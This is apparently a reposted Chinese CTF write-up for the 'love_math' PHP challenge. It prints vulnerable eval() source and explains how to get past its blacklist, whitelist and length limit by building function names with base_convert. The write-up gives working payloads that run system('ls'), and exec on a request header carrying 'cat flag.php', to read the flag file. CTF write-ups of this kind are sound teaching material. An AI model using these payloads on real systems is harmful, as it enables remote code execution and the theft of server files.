1. 程式人生 > 實用技巧 >攻防世界-web-love_math(base_convert進位制轉換繞過白名單和長度限制)

攻防世界-web-love_math(base_convert進位制轉換繞過白名單和長度限制)

題目來源:CISCN
題目描述:解密

進入介面

<?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太長了不會算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    
foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("請不要輸入奇奇怪怪的字元"); } } //常用數學函式http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("請不要輸入奇奇怪怪的函式"); } } //幫你算出答案 eval('echo '.$content.';'); }

簡單的程式碼審計

  • 首先使用者輸入的引數值長度不能大於等於80。
  • 然後使用者輸入不能包含黑名單裡的字元,比如空格、製表符、回車換行、單雙引號、反引號、[]。
  • 接著使用者輸入的字串需要匹配白名單。
  • 最後通過eval函式可以執行使用者輸入。

測試一下白名單規則,經過試驗

  • abs(1),匹配出abs,在白名單中,能過
  • 1abs(),匹配出abs,在白名單中,能過
  • absa(),匹配出absa,不在白名單中,不能過
  • abs(a),匹配出abs和a,a不在白名單中,不能過
  • abs()a,匹配出abs和a,a不在白名單中,不能過

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

表示匹配$content變數中以字母或下劃線開頭,後面任意數量的字母、陣列、下劃線組成的字串,將所有的可能結果放在$used_funcs陣列中。

其中,

  • \x7f-\xff 代表一個ASCII碼字元,範圍是0x7f(10進位制 127)到0xff(10進位制 255),這在ascii碼錶裡都是不可見字元。
  • * 匹配前面的子表示式零次或多次。

最先我想的是用拼接裁剪的方式把payload組合出來,我極限組合用77字元能把phpinfo給組合出來

$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()

思路:這段payload可以分為三部分,

  • 首先定義一個變數名$pi,因為pi在白名單中且長度最短,其值為hypot.min.fmod,因為hypot、min、fmod均在白名單中,而且phpinfo中的所有字元均可以在其中找到;
  • 然後從hypot.min.fmod中分別取第2、0、2、6、7、8、3位置字元,拼成phpinfo字串,並重新賦值給$pi變數;
  • 最後執行$pi(),即執行phpinfo()函式。

但是根據這個思路getflag,怎麼也會超長度。

然後考慮是不是touch個檔案,進行把命令拆分寫入檔案,再執行檔案,但是也難繞過白名單。

最後看了writeup發現在眾多函式中有個base_convert()函式,這個才是解題的關鍵。

先看看函式的用法https://www.runoob.com/php/func-math-base-convert.html

base_convert(number,frombase,tobase); 函式在任意進位制之間轉換數字。

在看這道題writeup之前,我的認知還停留在16進位制會帶個abcdef,殊不知還可以到36進位制,可以帶所有小寫字母。

36進位制,是資料的一種表示方法。同我們日常生活中的表示法不一樣。它由0-9,A-Z組成,字母不區分大小寫。與10進位制的對應關係是:0-9對應0-9;A-F對應10-35。

進位制說明:36進位制是 0-Z (0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ)。

有了這個函式就能大大減短payload了。

首先,實現phpinfo()試試

?c=base_convert(55490343972,10,36)()

然後,實現system('ls'),檢視當前目錄下的檔案

?c=base_convert(1751504350,10,36)(base_convert(784,10,36))

發現了flag.php。

接下來,我們就要嘗試讀取flag.php。

如果直接使用讀取檔案函式file_get_contents中包含下劃線不在我們36進制中,並且base_convert()第一個引數太長會溢位,也就是10進位制數沒法無限大。

方法一藉助getallheader()來控制請求頭,通過請求頭的欄位讀取flag.php。

這裡也就類似於$_GET,$_POST之類的,但是因為只能控制小寫字元,所以大寫的直接被pass掉。

getallheader()返回的是陣列,要從數組裡面取資料用array['xxx'],但是無奈[]被waf了,因為{}中是可以帶數字的,這裡用getallheader(){1}可以返回自定義頭1裡面的內容。

最後的payload如下

/?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
//exec(getallheaders(){1})

並且在請求頭上加上1:cat flag.php欄位即可。

payload中,

base_convert(696468,10,36); 代表把696468從10進位制轉換為36進位制,結果為exec。

base_convert(8768397090111664438,10,30); 代表把8768397090111664438從10進位制轉換為30進位制,結果為getallheaders。注意這裡不能用36進位制,因為getallheaders的36進位制轉換為10進位制後數太長會溢位,也就是無法把10進位制數變回getallheader。所以我們在這裡採用30進位制。(當然這是在linux下使用php7.3版本的結果,如果是在windows下php7.0前的所有版本對於getallheader進行30-36的進位制轉換,再轉換回來的時候都存在溢位,也就是無法把10進位制數變回getallheader)

最終得到falg。如下

這裡解釋一下為什麼會輸出一個base_convert字串,因為php中echo xx,yy,即輸出xx和yy的結果,xx和yy中間用逗號隔開,echo都能輸出。所以這裡會把我們payload中的第一項輸出出來。

方法二 使用system(hex2bin(nl*))讀取所有檔案內容

payload如下

?c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))

得到flag為flag{dgjregjvdsmvba356sg},但是不知道為什麼提示錯誤。

參考:

https://www.cnblogs.com/sijidou/p/10802475.html

https://blog.csdn.net/weixin_44604541/article/details/108914188